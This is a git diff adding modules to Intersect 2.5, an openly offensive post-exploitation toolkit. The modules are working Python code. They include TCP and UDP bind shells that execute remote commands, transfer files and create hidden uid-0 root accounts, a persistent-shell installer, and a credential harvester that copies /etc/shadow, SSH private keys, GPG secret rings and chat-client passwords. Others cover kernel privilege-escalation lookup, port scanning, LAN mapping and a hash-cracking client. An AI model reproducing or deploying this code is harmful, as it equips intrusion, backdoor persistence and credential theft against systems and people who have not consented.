print("[!] Chattr exited with non-zero status. Could not lock files.") + else: + print("[!] Chattr not found. Could not lock files.") + + print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.") + + log_msg("\n [ Installed Persistent Service ]") + log_msg("\n Start Time: %s" % logtime) + + + + diff --git a/Intersect-2.5/src/Modules/local/Custom/portscan b/Intersect-2.5/src/Modules/local/Custom/portscan new file mode 100644 index 0000000..0e0b28b --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/portscan @@ -0,0 +1,22 @@ + +def portscan(): + ''' + @description: Very simple port scan. Scans ports 1 - 1000 on specified IP. Best used against LAN hosts. Usage: ./Intersect.py -p 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: port scanner (-p ) + ''' + if len(sys.argv) <=2: + print("[!] Must specify an IP address!") + Shutdown() + + ipaddr = sys.argv[2] + print("[+] Starting portscan of: %s " % ipaddr) + + for i in range(1, 1000): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + result = s.connect_ex((ipaddr, i)) + if(result == 0) : + print("[+] Port open %d " % (i,)) + s.close() + diff --git a/Intersect-2.5/src/Modules/local/Custom/privesc b/Intersect-2.5/src/Modules/local/Custom/privesc new file mode 100644 index 0000000..7986859 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/privesc @@ -0,0 +1,96 @@ + +def fix_version(version): + ''' + @description: Checks for the Linux kernel for the existence of possible privilege escalation exploits. Provides CVE and download link if available. + @author: original code by Bernardo Damele + @short: identify priv-esc vulns + ''' + split_version = version.split(".") + + if len(split_version) >= 3 and len(split_version[2]) == 1: + split_version[2] = "0%s" % split_version[2] + version = ".".join(v for v in split_version) + + return version + + +def privesc(): + # Shout out to Bernardo Damele for letting me use this code! Thanks again! + # Check out his blog at http://bernardodamele.blogspot.com + + kernel_version_string = os.popen('uname -r').read().strip() + + exploitdb_url = "http://www.exploit-db.com/exploits" + enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" + + status_msg("[+] Results for local kernel version %s" % kernel_version_string) + + kernel_parts = kernel_version_string.split("-") + kernel_version = fix_version(kernel_parts[0]) + + found_exploit = False + exploits = { + "do_brk": { "CVE": "2003-0961", "versions": ("2.4.0-2.4.22",), "exploits": (131,) }, + "mremap missing do_munmap": { "CVE": "2004-0077", "versions": ("2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"), "exploits": (160,) }, + "binfmt_elf Executable File Read": { "CVE": "2004-1073", "versions": ("2.4.0-2.4.27", "2.6.0-2.6.8"), "exploits": (624,) }, + "uselib()": { "CVE": "2004-1235", "versions": ("2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"), "exploits": (895,) }, + "bluez": { "CVE": "2005-1294", "versions": ("2.6.0-2.6.11.5",), "exploits": (4756, 926) }, + "prctl()": { "CVE": "2006-2451", "versions": ("2.6.13-2.6.17.4",), "exploits": (2031, 2006, 2011, 2005, 2004) }, + "proc": { "CVE": "2006-3626", "versions": ("2.6.0-2.6.17.4",), "exploits": (2013,) }, + "system call emulation": { "CVE": "2007-4573", "versions": ("2.4.0-2.4.30", "2.6.0-2.6.22.7",), "exploits": (4460,) }, + "vmsplice": { "CVE": "2008-0009", "versions": ("2.6.17-2.6.24.1",), "exploits": (5092, 5093) }, + "ftruncate()/open()": { "CVE": "2008-4210", "versions": ("2.6.0-2.6.22",), "exploits": (6851,) }, + "eCryptfs (Paokara)": { "CVE": "2009-0269", "versions": ("2.6.19-2.6.31.1",), "exploits": (enlightenment_url,) }, + "set_selection() UTF-8 Off By One": { "CVE": "2009-1046", "versions": ("2.6.0-2.6.28.3",), "exploits": (9083,) }, + "UDEV < 141": { "CVE": "2009-1185", "versions": ("2.6.25-2.6.30",), "exploits": (8478, 8572) }, + "exit_notify()": { "CVE": "2009-1337", "versions": ("2.6.0-2.6.29",), "exploits": (8369,) }, + "ptrace_attach() Local Root Race Condition": { "CVE": "2009-1527", "versions": ("2.6.29",), "exploits": (8678, 8673) }, + "sock_sendpage() (Wunderbar Emporium)": { "CVE": "2009-2692", "versions": ("2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"), "exploits": (9641, 9545, 9479, 9436, 9435, enlightenment_url) }, + "udp_sendmsg() (The Rebel)": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9.2",), "exploits": (9575, 9574, enlightenment_url) }, + "(32bit) ip_append_data() ring0": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9",), "exploits": (9542,) }, + "perf_counter_open() (Powerglove and Ingo m0wnar)": { "CVE": "2009-3234", "versions": ("2.6.31",), "exploits": (enlightenment_url,) }, + "pipe.c (MooseCox)": { "CVE": "2009-3547", "versions": ("2.6.0-2.6.32rc5", "2.4.0-2.4.37"), "exploits": (10018, enlightenment_url) }, + "CPL 0": { "CVE": "2010-0298", "versions": ("2.6.0-2.6.11",), "exploits": (1397,) }, + "ReiserFS xattr": { "CVE": "2010-1146", "versions": ("2.6.0-2.6.34rc3",), "exploits": (12130,) }, + "Unknown": { "CVE": None, "versions": ("2.6.18-2.6.20",), "exploits": (10613,) }, + "SELinux/RHEL5 (Cheddar Bay)": { "CVE": None, "versions": ("2.6.9-2.6.30",), "exploits": (9208, 9191, enlightenment_url) }, + "compat": { "CVE": "2010-3301", "versions": ("2.6.27-2.6.36rc4",), "exploits": (15023, 15024) }, + "BCM": { "CVE": "2010-2959", "versions": ("2.6.0-2.6.36rc1",), "exploits": (14814,) }, + "RDS protocol": { "CVE": "2010-3904", "versions": ("2.6.0-2.6.36rc8",), "exploits": (15285,) }, + "put_user() - full-nelson": { "CVE": "2010-4258", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "sock_no_sendpage() - full-nelson": { "CVE": "2010-3849", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "ACPI custom_method": { "CVE": "2010-4347", "versions": ("2.6.0-2.6.37rc2",), "exploits": (15774,) }, + "CAP_SYS_ADMIN": { "CVE": "2010-4347", "versions": ("2.6.34-2.6.37",), "exploits": (15916, 15944) }, + "econet_sendmsg() - half-nelson": { "CVE": "2010-3848", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787,) }, + "ec_dev_ioctl() - half-nelson": { "CVE": "2010-3850", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787, 15704) }, + "ipc - half-nelson": { "CVE": "2010-4073", "versions": ("2.6.0-2.6.37rc1",), "exploits": (17787,) }, + } + + log_msg("Executed 'privesc' module") + + status_msg("Possible exploits: ") + + for name, data in exploits.items(): + versions = data["versions"] + + for version_tree in versions: + if "-" in version_tree: + min_version, max_version = version_tree.split("-") + else: + min_version, max_version = version_tree, version_tree + + if kernel_version >= fix_version(min_version) and kernel_version <= fix_version(max_version): + cve = data["CVE"] + exploits = data["exploits"] + found_exploit = True + + status_msg("\n* Linux Kernel %s Local Root Exploit\n CVE: CVE-%s\n Affected Kernels: %s-%s\n Exploits:\n%s" % (name, cve, min_version, max_version, "\n".join(" %s/%d" % (exploitdb_url, expl) if isinstance(expl, int) else " %s" % expl for expl in exploits))) + + if found_exploit: + status_msg("") + + if len(kernel_parts) > 1: + print "WARNING: %s appears to be a modified version of kernel %s." % (kernel_version_string, kernel_version) + print "These exploits can *possibly* get you to uid=0, but this script does *not* consider patched or backported kernel version\n" + + diff --git a/Intersect-2.5/src/Modules/local/Custom/privesc~ b/Intersect-2.5/src/Modules/local/Custom/privesc~ new file mode 100644 index 0000000..9dc8205 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/privesc~ @@ -0,0 +1,96 @@ + +def fix_version(version): + ''' + @description: Checks for the Linux kernel for the existence of possible privilege escalation exploits. Provides CVE and download link if available. + @author: original code by Bernardo Damele + @short: identify priv-esc vulns + ''' + split_version = version.split(".") + + if len(split_version) >= 3 and len(split_version[2]) == 1: + split_version[2] = "0%s" % split_version[2] + version = ".".join(v for v in split_version) + + return version + + +def privesc(): + # Shout out to Bernardo Damele for letting me use this code! Thanks again! + # Check out his blog at http://bernardodamele.blogspot.com + + kernel_version_string = os.popen('uname -r').read().strip() + + exploitdb_url = "http://www.exploit-db.com/exploits" + enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" + + status_msg("[+] Results for local kernel version %s" % kernel_version_string) + + kernel_parts = kernel_version_string.split("-") + kernel_version = fix_version(kernel_parts[0]) + + found_exploit = False + exploits = { + "do_brk": { "CVE": "2003-0961", "versions": ("2.4.0-2.4.22",), "exploits": (131,) }, + "mremap missing do_munmap": { "CVE": "2004-0077", "versions": ("2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"), "exploits": (160,) }, + "binfmt_elf Executable File Read": { "CVE": "2004-1073", "versions": ("2.4.0-2.4.27", "2.6.0-2.6.8"), "exploits": (624,) }, + "uselib()": { "CVE": "2004-1235", "versions": ("2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"), "exploits": (895,) }, + "bluez": { "CVE": "2005-1294", "versions": ("2.6.0-2.6.11.5",), "exploits": (4756, 926) }, + "prctl()": { "CVE": "2006-2451", "versions": ("2.6.13-2.6.17.4",), "exploits": (2031, 2006, 2011, 2005, 2004) }, + "proc": { "CVE": "2006-3626", "versions": ("2.6.0-2.6.17.4",), "exploits": (2013,) }, + "system call emulation": { "CVE": "2007-4573", "versions": ("2.4.0-2.4.30", "2.6.0-2.6.22.7",), "exploits": (4460,) }, + "vmsplice": { "CVE": "2008-0009", "versions": ("2.6.17-2.6.24.1",), "exploits": (5092, 5093) }, + "ftruncate()/open()": { "CVE": "2008-4210", "versions": ("2.6.0-2.6.22",), "exploits": (6851,) }, + "eCryptfs (Paokara)": { "CVE": "2009-0269", "versions": ("2.6.19-2.6.31.1",), "exploits": (enlightenment_url,) }, + "set_selection() UTF-8 Off By One": { "CVE": "2009-1046", "versions": ("2.6.0-2.6.28.3",), "exploits": (9083,) }, + "UDEV < 141": { "CVE": "2009-1185", "versions": ("2.6.25-2.6.30",), "exploits": (8478, 8572) }, + "exit_notify()": { "CVE": "2009-1337", "versions": ("2.6.0-2.6.29",), "exploits": (8369,) }, + "ptrace_attach() Local Root Race Condition": { "CVE": "2009-1527", "versions": ("2.6.29",), "exploits": (8678, 8673) }, + "sock_sendpage() (Wunderbar Emporium)": { "CVE": "2009-2692", "versions": ("2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"), "exploits": (9641, 9545, 9479, 9436, 9435, enlightenment_url) }, + "udp_sendmsg() (The Rebel)": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9.2",), "exploits": (9575, 9574, enlightenment_url) }, + "(32bit) ip_append_data() ring0": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9",), "exploits": (9542,) }, + "perf_counter_open() (Powerglove and Ingo m0wnar)": { "CVE": "2009-3234", "versions": ("2.6.31",), "exploits": (enlightenment_url,) }, + "pipe.c (MooseCox)": { "CVE": "2009-3547", "versions": ("2.6.0-2.6.32rc5", "2.4.0-2.4.37"), "exploits": (10018, enlightenment_url) }, + "CPL 0": { "CVE": "2010-0298", "versions": ("2.6.0-2.6.11",), "exploits": (1397,) }, + "ReiserFS xattr": { "CVE": "2010-1146", "versions": ("2.6.0-2.6.34rc3",), "exploits": (12130,) }, + "Unknown": { "CVE": None, "versions": ("2.6.18-2.6.20",), "exploits": (10613,) }, + "SELinux/RHEL5 (Cheddar Bay)": { "CVE": None, "versions": ("2.6.9-2.6.30",), "exploits": (9208, 9191, enlightenment_url) }, + "compat": { "CVE": "2010-3301", "versions": ("2.6.27-2.6.36rc4",), "exploits": (15023, 15024) }, + "BCM": { "CVE": "2010-2959", "versions": ("2.6.0-2.6.36rc1",), "exploits": (14814,) }, + "RDS protocol": { "CVE": "2010-3904", "versions": ("2.6.0-2.6.36rc8",), "exploits": (15285,) }, + "put_user() - full-nelson": { "CVE": "2010-4258", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "sock_no_sendpage() - full-nelson": { "CVE": "2010-3849", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "ACPI custom_method": { "CVE": "2010-4347", "versions": ("2.6.0-2.6.37rc2",), "exploits": (15774,) }, + "CAP_SYS_ADMIN": { "CVE": "2010-4347", "versions": ("2.6.34-2.6.37",), "exploits": (15916, 15944) }, + "econet_sendmsg() - half-nelson": { "CVE": "2010-3848", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787,) }, + "ec_dev_ioctl() - half-nelson": { "CVE": "2010-3850", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787, 15704) }, + "ipc - half-nelson": { "CVE": "2010-4073", "versions": ("2.6.0-2.6.37rc1",), "exploits": (17787,) }, + } + + log_msg("Executed 'privesc' module") + + status_msg("Possible exploits: ") + + for name, data in exploits.items(): + versions = data["versions"] + + for version_tree in versions: + if "-" in version_tree: + min_version, max_version = version_tree.split("-") + else: + min_version, max_version = version_tree, version_tree + + if kernel_version >= fix_version(min_version) and kernel_version <= fix_version(max_version): + cve = data["CVE"] + exploits = data["exploits"] + found_exploit = True + + status_msg("\n* Linux Kernel %s Local Root Exploit\n CVE: CVE-%s\n Affected Kernels: %s-%s\n Exploits:\n%s" % (name, cve, min_version, max_version, "\n".join(" %s/%d" % (exploitdb_url, expl) if isinstance(expl, int) else " %s" % expl for expl in exploits))) + + if found_exploit: + print + + if len(kernel_parts) > 1: + print "WARNING: %s appears to be a modified version of kernel %s." % (kernel_version_string, kernel_version) + print "These exploits can *possibly* get you to uid=0, but this script does *not* consider patched or backported kernel version\n" + + diff --git a/Intersect-2.5/src/Modules/local/Custom/sniff b/Intersect-2.5/src/Modules/local/Custom/sniff new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/src/Modules/local/Custom/udpbind b/Intersect-2.5/src/Modules/local/Custom/udpbind new file mode 100644 index 0000000..e03f612 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/udpbind @@ -0,0 +1,68 @@ + +def udpbind(): + ''' + @description: starts a UDP bind shell on port 21541. interactive shell access with additional Intersect commands. use the UDP-Client in Shell/ to connect. + @author: ohdae [bindshell@live.com] + @short: UDP bind shell + ''' + + host = "127.0.0.1" + port = 21541 + buf = 1024 + addr = (host,port) + +# Create socket and bind to address + UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + UDPSock.bind(addr) + log_msg("\n\n [ UDP Bindshell module executed ]") + log_msg("\n Start Time: %s" % logtime) + + while 1: + data,addr = UDPSock.recvfrom(buf) + proc = Popen(data, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if data == ":killme": + (UDPSock.sendto("[!] Closing connection!", addr)) + UDPSock.close() + sys.exit(0) + + elif data.startswith("cd"): + destination = data[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + else: + (UDPSock.sendto("[!] Directory does not exist", addr)) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + + elif data.startswith(":addroot"): + strip = data.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + (UDPSock.sendto("[+] Root account " + acct + " has been created.", addr)) + + elif data.startswith(":temp"): + os.system("cd %s" % Temp_Dir) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + + elif data == ":mods": + (UDPSock.sendto("[+] Currently loaded modules:\n %s " % (modList, addr))) + + elif data.startswith(":exec"): + pass + + elif data.startswith(":reboot"): + (UDPSock.sendto("[+] System going down for reboot!", addr)) + os.system("shutdown -h now") + + elif proc: + (UDPSock.sendto(stdout,addr)) + + + UDPSock.close() diff --git a/Intersect-2.5/src/Modules/local/Custom/webproxy b/Intersect-2.5/src/Modules/local/Custom/webproxy new file mode 100644 index 0000000..aee1832 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/webproxy @@ -0,0 +1,18 @@ + +class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler): + + def do_GET(self): + self.copyfile(urllib2.urlopen(self.path), self.wfile) + +def httproxy(): + ''' + @description: Starts a basic HTTP proxy on the target system. + @author: ohdae [bindshell@live.com] + @short: http proxy + ''' + httpd = SocketServer.ForkingTCPServer(('', PPORT), Proxy) + print("[+] Serving HTTP proxy on port %s" % PPORT) + log_msg("\n\n [ HTTP Proxy module executed ]") + log_msg("\n Start Time: %s" % logtime) + + httpd.serve_forever() diff --git a/Intersect-2.5/src/Modules/local/Custom/xmlcrack b/Intersect-2.5/src/Modules/local/Custom/xmlcrack new file mode 100644 index 0000000..2da3744 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/xmlcrack @@ -0,0 +1,55 @@ + +def xmlcrack(): + ''' + @description: Sends hash list to remote XMLRPC server for cracking. Crackserver.py must be running on the remote host. + @author: original code by Stephen Haywood aka averagesecurityguy + @short: xmlrpc crack client (-x filename hashtype) + ''' + if len(sys.argv) <=3: + print("[!] Must specify a filename and hashtype!") + sys.exit() + + import time + try: + import xmlrpclib + except ImportError: + print("[!] Python library XMLRPC is not installed!") + sys.exit(0) + + data = [] + filename = sys.argv[2] + hashtype = sys.argv[3] + + try: + #Open the hash file and convert it to an array before sending it in the + #XMLRPC request. + file = open(filename, 'rb') + for line in file: + data.append(line.rstrip('\r\n')) + file.close() + except Exception, err: + print "Error opening file " + filename + ": " + str(err) + + # Open connection to xmlrpc server + server = ("http://"+RHOST+":"+str(RPORT)) + try: + s = xmlrpclib.ServerProxy(server) + except: + print "Error opening connection to server " + server + ": " + str(err) + + # Send request to server and receive ID + id, msg = s.crack(data, hashtype) + + if id == 0: + print msg + else: + # Poll server for completion status and results using ID. + complete = False + wait = 10 + while True: + time.sleep(wait) + complete, results = s.results(id) + if results != []: + for r in results: + print r.rstrip('\r\n') + if complete: break diff --git a/Intersect-2.5/src/Modules/local/Custom/xmpp b/Intersect-2.5/src/Modules/local/Custom/xmpp new file mode 100644 index 0000000..2c64f6c --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/xmpp @@ -0,0 +1,2 @@ + +# Module coming soon. Starts an XMPP server/shell on the target system. diff --git a/Intersect-2.5/src/Modules/local/Standard/archive b/Intersect-2.5/src/Modules/local/Standard/archive new file mode 100644 index 0000000..a2cf1db --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/archive @@ -0,0 +1,16 @@ + +def archive(): + ''' + @description: Creates a tar archive of any files located within the Intersect sessions temporary directory + @short: create tar archive of sessions temp directory + @author: ohdae [bindshell@live.com] + ''' + log_msg("\n Start Time: %s" % logtime) + + os.chdir(Temp_Dir) + temp_files = os.listdir(Temp_Dir) + tarlist("reports", temp_files) + + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/bshell b/Intersect-2.5/src/Modules/local/Standard/bshell new file mode 100644 index 0000000..66a810d --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/bshell @@ -0,0 +1,114 @@ + +def bshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + log_msg("[ Bindshell module executed ]") + server.bind((HOST, PORT)) + server.listen(5) + except: + print "[!] Connection closed." + sys.exit(2) + + while 1: + conn, addr = server.accept() + log_msg("New shell connection") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + reaper() + childPid = os.fork() + if childPid == 0: + tcphandle(conn) + else: + shellPID.append(childPid) + + +def tcphandle(conn): + time.sleep(3) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith(":reboot"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == (":mods"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(":exec"): + pass + #getname = cmd.split(" ") + #mod = getname[1] + #if mod in modList: + # mod = mod+"()" + # exec mod + #else: + # conn.send("Module not loaded!") + + elif cmd == (':killme'): + sys.exit(0) + + elif cmd == (':quit'): + conn.send("[!] Closing shell connection!\n") + conn.close() + os._exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/creds b/Intersect-2.5/src/Modules/local/Standard/creds new file mode 100644 index 0000000..7f19c89 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/creds @@ -0,0 +1,86 @@ + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + log_msg("\n\n [ Credentials Module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + users() + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + log_msg("\n ACTION: passwd, shadow, lastlog and mail aliases collected.") + + if currentuser == "root": + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("ls /home/%s/.ssh/* > ssh_contents.txt" % user) + else: + os.system("ls %s/.ssh/* > ssh_contents.txt" % Home_Dir) + + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + for files in sshfiles: + if os.path.exists(files) is True: + os.system("rm %s" % files) + + for user in userlist: + if os.path.exists("/home/%s/.bash_history" % user) is True: + os.system("cat /home/%s/.bash_history | grep ssh > %s-SSH-History.txt" % (user, user)) + if currentuser == "root": + if os.path.exists("%s/.bash_history" % Home_Dir) is True: + os.system("cat %s/.bash_history | grep ssh > Root-SSH-History.txt" % Home_Dir) + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + + for x in credentials: + copy2temp(x, "credentials") + + + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/%s/.purple/accounts.xml" % user) is True: + accts = open("/home/%s/.purple/accounts.xml" % user) + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/%s/.irssi/config" % user) is True: + accts = open("/home/%s/.irssi/config" % user) + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/%s/.znc/configs/znc.conf" % user) + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/daemon b/Intersect-2.5/src/Modules/local/Standard/daemon new file mode 100644 index 0000000..44486a4 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/daemon @@ -0,0 +1,41 @@ + +def daemon(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): + ''' + @description: Daemonize an Intersect script. When executed you'll be given the PID to monitor or kill the task if needed + @author: ohdae [bindshell@live.com] + @short: run as background process + ''' + + log_msg("\n\n [ Executed as Daemon ]") + log_msg("\n Start Time: %s" % logtime) + + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError, e: + print >>sys.stderr, "fork one failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + os.chdir("/") + os.setsid() + os.umask(0) + + try: + pid = os.fork() + if pid > 0: + print "[+] Daemon PID %d" % pid + sys.exit(0) + except OSError, e: + print("[!] Intersect will now run in the background. Check %s for your reports." % Temp_Dir) + print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + si = file(stdin, 'r') + so = file(stdout, 'a+') + se = file(stderr, 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/extras b/Intersect-2.5/src/Modules/local/Standard/extras new file mode 100644 index 0000000..fded01f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/extras @@ -0,0 +1,56 @@ + +def extras(): + ''' + @description: Searches for system, service and app configurations. Also tries to locate certain installed apps and protection measures. + @author: ohdae [bindshell@live.com] + @short: finds configs, security measures and misc apps + ''' + log_msg("\n\n [ Extras Module ]") + log_msg("\n Start Time: %s" % logtime) + + maketemp("extras") + protectiondir = (Temp_Dir+"/extras") + os.chdir(protectiondir) + maketemp("configs") + users() + + + configs = [ "/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", + "/etc/bitlbee/bitlbee.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", + "/etc/security/access.conf", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/apt/secring.gpg", + "/etc/apt/trusted.gpg", "/etc/nginx/nginx.conf", "/etc/shells", "/etc/gated.conf", "/etc/inetd.conf", "/etc/rpc", + "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf" + "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/ldap.conf", "/opt/lampp/etc/httpd.conf", "/etc/cups/cups.conf", + "/etc/exports", "/etc/fstab", "~/.msf4/history", "/etc/ssl/openssl.cnf" ] + + + for x in configs: + copy2temp(x, "configs") + + print("[+] Searching for protection and misc extras....") + program = [ "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", + "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", + "rkhunter", "perl", "tcpdump", "nc", "webmin", "python", "gcc", "jailkit", + "pwgen", "proxychains", "bastille", "wireshark", "nagios", "nmap", "firefox", + "nagios", "tor", "openvpn", "virtualbox", "magictree", "apparmor", "git", + "xen", "svn", "redmine", "ldap", "msfconsole" ] + + for x in program: + location = whereis(x) + if location is not None: + text = location + '\n' + writenew("FullList.txt", text) + + + if currentuser == "root": + for user in userlist: + if os.path.exists("/home/%s/.msf4/" % user) is True: + os.system("ls -l /home/%s/.msf/loot > MSFLoot-%s.txt" % (user, user)) + if os.path.exists("/root/.msf4/") is True: + os.system("ls -l /root/.msf4/loot > MSFLoot-root.txt") + else: + if os.path.exists("%s/.msf4" % Home_Dir) is True: + os.system("ls -l %s/.msf4/loot > MSFLoot.txt" % Home_Dir) + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/lanmap b/Intersect-2.5/src/Modules/local/Standard/lanmap new file mode 100644 index 0000000..9b1bc26 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/lanmap @@ -0,0 +1,45 @@ + +def lanmap(): + ''' + @description: uses Scapy to enumerate live hosts and gather IP addresses + @author: ohdae [bindshell@live.com] + @short: find live hosts on LAN + ''' + log_msg("\n\n [ LANMap Module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Searching for live hosts...") + maketemp("hosts") + os.chdir(Temp_Dir+"/hosts") + + try: + localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] + except OSError: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + else: + pass + ipBin = reduce(lambda x, y: (int(x) << 8)+int(y), localIP.split('.')) + #route = [ network_addr, netmask, gateway, interface, address ] + for route in scapy.all.conf.route.routes: + if (route[4] == localIP #If it's the address we're talking to + and route[0] != 0 #and it's not the route to the gateway itself + and route[0] == (route[1] & ipBin)): #And localIP is in this subnet (fixes 169.254/16 oddness) + #Calculate the CIDR from the base-2 logarithm of the netmask + IPRange = '/'.join((localIP, str(int(32-log(0xffffffff-route[1]+1,2))))) + + conf.verb=0 + ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IPRange),timeout=2) + write2file("livehosts.txt", "LAN IP Range: " + IPRange +"\n") + for snd,rcv in ans: 